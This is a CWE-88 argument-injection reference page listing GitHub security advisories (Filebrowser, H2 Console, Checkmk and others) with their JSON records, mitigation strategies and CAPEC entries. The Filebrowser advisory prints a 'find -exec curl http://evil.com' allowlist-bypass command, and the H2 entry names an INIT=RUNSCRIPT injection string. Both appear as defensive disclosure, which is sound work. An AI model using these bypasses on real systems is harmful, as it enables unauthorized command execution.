Common Weakness Enumeration

CWE-88

Allowed

Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.

553 vulnerabilities reference this CWE, most recent first.

GHSA-3Q2W-42MV-CPH4

Vulnerability from github – Published: 2025-06-27 15:19 – Updated: 2026-06-09 18:40
VLAI
Summary
filebrowser Allows Shell Commands to Spawn Other Commands
Details

[!NOTE] This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.

For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.

Summary

The Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.

Impact

The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process.

Vulnerability Description

Many Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the find command and nothing else, this restriction can be circumvented by using the -exec flag.

Some common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website https://gtfobins.github.io gives a comprehensive overview:

As a prerequisite, an attacker needs an account with the Execute Commands permission and some permitted commands.

Proof of Concept

The following screenshot demonstrates, how this can be used to issue a network call to an external server:

image

Recommended Countermeasures

Until this issue is fixed, we recommend to completely disable Execute commands for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration.

The prlimit command can be used to prevent the execution of subcommands:

$ find . -exec curl http://evil.com {} \;
<HTML>
<HEAD>
[...]

$ prlimit --nproc=0 find . -exec curl http://evil.com {} \;
find: cannot fork: Resource temporarily unavailable

It should be prepended to any command executed in the context of the application. prlimit can be used for containerized deployments as well as for bare-metal ones.

WARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the find command can also delete files directly via its -delete flag.

As a defense-in-depth measure, Filebrowser should provide an additional container image based on a distroless base image.

Timeline

  • 2025-03-26 Identified the vulnerability in version 2.32.0
  • 2025-06-25 Uploaded advisories to the project's GitHub repository
  • 2025-06-25 CVE ID assigned by GitHub
  • 2025-06-25 A patch version has been pushed to disable the feature for all existent installations, and making it opt-in. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.

References

Credits

Severity
8.0 (High)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.33.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-52903"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-749",
      "CWE-77",
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-27T15:19:16Z",
    "nvd_published_at": "2025-06-26T19:15:21Z",
    "severity": "HIGH"
  },
  "details": "\u003e [!NOTE]\n\u003e **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We\u0027re publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.\n\u003e\n\u003e For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.\n\n## Summary ##\n\nThe *Command Execution* feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.\n\n## Impact ##\n\nThe concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the `Execute commands` permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the *uid* of the server process.\n\n## Vulnerability Description ##\n\nMany Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the `find` command and nothing else, this restriction can be circumvented by using the `-exec` flag.\n\nSome common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website \u003chttps://gtfobins.github.io\u003e gives a comprehensive overview:\n\n* \u003chttps://gtfobins.github.io/gtfobins/cpio\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/find\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/sed\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/git\u003e\n* \u003chttps://gtfobins.github.io/gtfobins/env\u003e\n\nAs a prerequisite, an attacker needs an account with the `Execute Commands` permission and some permitted commands.\n\n## Proof of Concept ##\n\nThe following screenshot demonstrates, how this can be used to issue a network call to an external server:\n\n![image](https://github.com/user-attachments/assets/02ef0833-79ee-40f7-87b8-bbb3fe102eab)\n\n## Recommended Countermeasures ##\n\nUntil this issue is fixed, we recommend to completely disable `Execute commands` for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application\u0027s configuration.\n\nThe `prlimit` command can be used to prevent the execution of subcommands:\n\n```bash\n$ find . -exec curl http://evil.com {} \\;\n\u003cHTML\u003e\n\u003cHEAD\u003e\n[...]\n\n$ prlimit --nproc=0 find . -exec curl http://evil.com {} \\;\nfind: cannot fork: Resource temporarily unavailable\n```\n\nIt should be prepended to any command executed in the context of the application. `prlimit` can be used for containerized deployments as well as for bare-metal ones.\n\nWARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the `find` command can also delete files directly via its `-delete` flag.\n\nAs a defense-in-depth measure, Filebrowser should provide an additional container image based on a *distroless* base image.\n\n## Timeline ##\n\n* `2025-03-26` Identified the vulnerability in version 2.32.0\n* `2025-06-25` Uploaded advisories to the project\u0027s GitHub repository\n* `2025-06-25` CVE ID assigned by GitHub\n* `2025-06-25` A patch version has been pushed to disable the feature for all existent installations, and making it **opt-in**. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.\n\n## References ##\n\n* [prlimit](https://manpages.debian.org/bookworm/util-linux/prlimit.1.en.html)\n* [\"Distroless\" Container Images.](https://github.com/GoogleContainerTools/distroless)\n* [Original Advisory](https://github.com/sbaresearch/advisories/tree/public/2025/SBA-ADV-20250326-02_Filebrowser_Shell_Commands_Can_Spawn_Other_Commands)\n \n## Credits ##\n\n* Mathias Tausig ([SBA Research](https://www.sba-research.org/))",
  "id": "GHSA-3q2w-42mv-cph4",
  "modified": "2026-06-09T18:40:07Z",
  "published": "2025-06-27T15:19:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-3q2w-42mv-cph4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52903"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/issues/5199"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/commit/4d830f707fc4314741fd431e70c2ce50cd5a3108"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GoogleContainerTools/distroless"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sbaresearch/advisories/tree/public/2025/SBA-ADV-20250326-02_Filebrowser_Shell_Commands_Can_Spawn_Other_Commands"
    },
    {
      "type": "WEB",
      "url": "https://manpages.debian.org/bookworm/util-linux/prlimit.1.en.html"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3786"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "filebrowser Allows Shell Commands to Spawn Other Commands"
}

GHSA-3QVJ-Q9MH-GV5X

Vulnerability from github – Published: 2025-06-08 21:30 – Updated: 2025-06-08 21:30
VLAI
Details

The Quantenna Wi-Fi chipset ships with a local control script, router_command.sh (in the put_file_to_qtn argument), that is vulnerable to command injection. This is an instance of CWE-88, "Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')," and is estimated as a CVSS 7.7 ( CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) https://www.first.org/cvss/calculator/3-1#CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) . This issue affects Quantenna Wi-Fi chipset through version 8.0.0.28 of the latest SDK, and appears to be unpatched at the time of this CVE record's first publishing, though the vendor has released a best practices guide for implementors of this chipset.

Severity
7.7 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2025-32456"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-08T21:15:31Z",
    "severity": "HIGH"
  },
  "details": "The Quantenna Wi-Fi chipset ships with a local control script, router_command.sh (in the put_file_to_qtn argument), that is vulnerable to command injection. This is an instance of CWE-88, \"Improper Neutralization of Argument Delimiters in a Command (\u0027Argument Injection\u0027),\" and is estimated as a CVSS 7.7 ( CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) https://www.first.org/cvss/calculator/3-1#CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) .\nThis issue affects Quantenna Wi-Fi chipset through version 8.0.0.28 of the latest SDK, and appears to be unpatched at the time of this CVE record\u0027s first publishing, though the vendor has released a best practices guide for implementors of this chipset.",
  "id": "GHSA-3qvj-q9mh-gv5x",
  "modified": "2025-06-08T21:30:29Z",
  "published": "2025-06-08T21:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32456"
    },
    {
      "type": "WEB",
      "url": "https://community.onsemi.com/s/article/QCS-Quantenna-Wi-Fi-product-support-and-security-best-practices"
    },
    {
      "type": "WEB",
      "url": "https://takeonme.org/cves/cve-2025-3460"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3RRV-J65X-53QP

Vulnerability from github – Published: 2022-05-24 16:59 – Updated: 2024-04-04 02:34
VLAI
Details

An exploitable privilege escalation vulnerability exists in the Wacom, driver version 6.3.32-3, update helper service in the startProcess command. The command takes a user-supplied script argument and executes it under root context. A user with local access can use this vulnerability to raise their privileges to root. An attacker would need local access to the machine for a successful exploit.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-5012"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-24T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "An exploitable privilege escalation vulnerability exists in the Wacom, driver version 6.3.32-3, update helper service in the startProcess command. The command takes a user-supplied script argument and executes it under root context. A user with local access can use this vulnerability to raise their privileges to root. An attacker would need local access to the machine for a successful exploit.",
  "id": "GHSA-3rrv-j65x-53qp",
  "modified": "2024-04-04T02:34:24Z",
  "published": "2022-05-24T16:59:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-5012"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2019-0760"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3V7M-2JRH-VC93

Vulnerability from github – Published: 2022-12-31 00:30 – Updated: 2023-01-10 16:03
VLAI
Summary
Froxlor vulnerable to Argument Injection
Details

Argument Injection in GitHub repository froxlor/froxlor prior to 2.0.0-beta1.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "froxlor/froxlor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-beta0"
            },
            {
              "fixed": "2.0.0-beta1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-4864"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-03T16:56:36Z",
    "nvd_published_at": "2022-12-30T23:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Argument Injection in GitHub repository froxlor/froxlor prior to 2.0.0-beta1.",
  "id": "GHSA-3v7m-2jrh-vc93",
  "modified": "2023-01-10T16:03:04Z",
  "published": "2022-12-31T00:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4864"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/commit/f2485ecd9aab8da544b5e12891d82ae6fcff5fc7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/froxlor/froxlor"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/b7140709-8f84-4f19-9463-78669fa2175b"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Froxlor vulnerable to Argument Injection"
}

GHSA-3V82-5W89-J5WW

Vulnerability from github – Published: 2022-05-13 01:02 – Updated: 2022-05-13 01:02
VLAI
Details

An exploitable vulnerability exists in the smart cameras RTSP configuration of the Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17. The device incorrectly handles spaces in the URL field, leading to an arbitrary operating system command injection. An attacker can send a series of HTTP requests to trigger this vulnerability.

Severity
9.9 (Critical)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-3856"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-08-23T22:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "An exploitable vulnerability exists in the smart cameras RTSP configuration of the Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17. The device incorrectly handles spaces in the URL field, leading to an arbitrary operating system command injection. An attacker can send a series of HTTP requests to trigger this vulnerability.",
  "id": "GHSA-3v82-5w89-j5ww",
  "modified": "2022-05-13T01:02:06Z",
  "published": "2022-05-13T01:02:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3856"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2018-0539"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4229-XRVQ-QM47

Vulnerability from github – Published: 2026-04-17 12:31 – Updated: 2026-04-17 12:31
VLAI
Details

Dell PowerProtect Data Domain, versions 7.7.1.0 through 8.7.0.0, LTS2025 release versions 8.3.1.0 through 8.3.1.20, LTS2024 release versions 7.13.1.0 through 7.13.1.60 contain an improper neutralization of argument delimiters in a command ('argument injection') vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to arbitrary command execution with root privileges.

Severity
6.7 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-35153"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-17T11:16:10Z",
    "severity": "MODERATE"
  },
  "details": "Dell PowerProtect Data Domain, versions 7.7.1.0 through 8.7.0.0, LTS2025 release versions 8.3.1.0 through 8.3.1.20, LTS2024 release versions 7.13.1.0 through 7.13.1.60 contain an improper neutralization of argument delimiters in a command (\u0027argument injection\u0027) vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to arbitrary command execution with root privileges.",
  "id": "GHSA-4229-xrvq-qm47",
  "modified": "2026-04-17T12:31:25Z",
  "published": "2026-04-17T12:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35153"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-us/000450699/dsa-2026-060-security-update-for-dell-powerprotect-data-domain-multiple-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-427P-PPG4-CG5Q

Vulnerability from github – Published: 2025-10-03 15:31 – Updated: 2025-10-03 15:31
VLAI
Details

Unity Editor 2019.1 through 6000.3 could allow remote attackers to exploit file loading and Local File Inclusion (LFI) mechanisms via a crafted local application because of an Untrusted Search Path. This could permit unauthorized manipulation of runtime resources and third-party integrations. The issue could affect applications built using Unity and deployed across Android, Windows, macOS, and Linux platforms.

Severity
8.4 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-59489"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-426",
      "CWE-88"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-03T14:15:45Z",
    "severity": "HIGH"
  },
  "details": "Unity Editor 2019.1 through 6000.3 could allow remote attackers to exploit file loading and Local File Inclusion (LFI) mechanisms via a crafted local application because of an Untrusted Search Path. This could permit unauthorized manipulation of runtime resources and third-party integrations. The issue could affect applications built using Unity and deployed across Android, Windows, macOS, and Linux platforms.",
  "id": "GHSA-427p-ppg4-cg5q",
  "modified": "2025-10-03T15:31:17Z",
  "published": "2025-10-03T15:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59489"
    },
    {
      "type": "WEB",
      "url": "https://flatt.tech/research/posts/arbitrary-code-execution-in-unity-runtime"
    },
    {
      "type": "WEB",
      "url": "https://unity.com/security#security-updates-and-patches"
    },
    {
      "type": "WEB",
      "url": "https://unity.com/security/sept-2025-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-42W8-JQ8G-MG7M

Vulnerability from github – Published: 2022-04-30 18:16 – Updated: 2025-01-16 18:30
VLAI
Details

Internet Explorer 6 and earlier, when used with the Telnet client in Services for Unix (SFU) 2.0, allows remote attackers to execute commands by spawning Telnet with a log file option on the command line and writing arbitrary code into an executable file which is later executed, aka a new variant of the Telnet Invocation vulnerability as described in CVE-2001-0150.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
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{
  "affected": [],
  "aliases": [
    "CVE-2001-0667"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2001-10-30T05:00:00Z",
    "severity": "HIGH"
  },
  "details": "Internet Explorer 6 and earlier, when used with the Telnet client in Services for Unix (SFU) 2.0, allows remote attackers to execute commands by spawning Telnet with a log file option on the command line and writing arbitrary code into an executable file which is later executed, aka a new variant of the Telnet Invocation vulnerability as described in CVE-2001-0150.",
  "id": "GHSA-42w8-jq8g-mg7m",
  "modified": "2025-01-16T18:30:54Z",
  "published": "2022-04-30T18:16:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2001-0667"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2001/ms01-051"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/7260"
    },
    {
      "type": "WEB",
      "url": "http://www.ciac.org/ciac/bulletins/m-024.shtml"
    },
    {
      "type": "WEB",
      "url": "http://www.kb.cert.org/vuls/id/952611"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-45HX-WFHJ-473X

Vulnerability from github – Published: 2022-01-21 23:07 – Updated: 2022-01-27 18:28
VLAI
Summary
Arbitrary code execution in H2 Console
Details

H2 Console before 2.1.210 allows remote attackers to execute arbitrary code via a jdbc:h2:mem JDBC URL containing the IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT substring, a different vulnerability than CVE-2021-42392.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.h2database:h2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.210"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-23221"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-01-20T16:13:20Z",
    "nvd_published_at": "2022-01-19T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "H2 Console before 2.1.210 allows remote attackers to execute arbitrary code via a jdbc:h2:mem JDBC URL containing the IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT substring, a different vulnerability than CVE-2021-42392.",
  "id": "GHSA-45hx-wfhj-473x",
  "modified": "2022-01-27T18:28:14Z",
  "published": "2022-01-21T23:07:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23221"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/h2database/h2database"
    },
    {
      "type": "WEB",
      "url": "https://github.com/h2database/h2database/releases/tag/version-2.1.210"
    },
    {
      "type": "WEB",
      "url": "https://github.com/h2database/h2database/security/advisories"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2022/02/msg00017.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20230818-0011"
    },
    {
      "type": "WEB",
      "url": "https://twitter.com/d0nkey_man/status/1483824727936450564"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2022/dsa-5076"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2022.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/165676/H2-Database-Console-Remote-Code-Execution.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2022/Jan/39"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Arbitrary code execution in H2 Console"
}

GHSA-46RP-WQR5-V5MJ

Vulnerability from github – Published: 2025-05-21 21:31 – Updated: 2025-08-22 21:31
VLAI
Details

Argument injection in special agent configuration in Checkmk <2.4.0p1, <2.3.0p32, <2.2.0p42 and 2.1.0 allows authenticated attackers to write arbitrary files

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
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{
  "affected": [],
  "aliases": [
    "CVE-2025-1712"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-21T09:15:35Z",
    "severity": "HIGH"
  },
  "details": "Argument injection in special agent configuration in Checkmk \u003c2.4.0p1, \u003c2.3.0p32, \u003c2.2.0p42 and 2.1.0 allows authenticated attackers to write arbitrary files",
  "id": "GHSA-46rp-wqr5-v5mj",
  "modified": "2025-08-22T21:31:13Z",
  "published": "2025-05-21T21:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1712"
    },
    {
      "type": "WEB",
      "url": "https://checkmk.com/werk/17996"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Implementation

Strategy: Parameterization

Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments. In C, code can often be refactored from using system() - which accepts a single string - to using exec(), which requires separate function arguments for each parameter.

Mitigation
Architecture and Design

Strategy: Input Validation

Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Mitigation
Implementation
  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.
  • Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
Mitigation
Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Mitigation
Implementation

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

CAPEC-137: Parameter Injection

An adversary manipulates the content of request parameters for the purpose of undermining the security of the target. Some parameter encodings use text characters as separators. For example, parameters in a HTTP GET message are encoded as name-value pairs separated by an ampersand (&). If an attacker can supply text strings that are used to fill in these parameters, then they can inject special characters used in the encoding scheme to add or modify parameters. For example, if user input is fed directly into an HTTP GET request and the user provides the value "myInput&new_param=myValue", then the input parameter is set to myInput, but a new parameter (new_param) is also added with a value of myValue. This can significantly change the meaning of the query that is processed by the server. Any encoding scheme where parameters are identified and separated by text characters is potentially vulnerable to this attack - the HTTP GET encoding used above is just one example.

CAPEC-174: Flash Parameter Injection

An adversary takes advantage of improper data validation to inject malicious global parameters into a Flash file embedded within an HTML document. Flash files can leverage user-submitted data to configure the Flash document and access the embedding HTML document.

CAPEC-41: Using Meta-characters in E-mail Headers to Inject Malicious Payloads

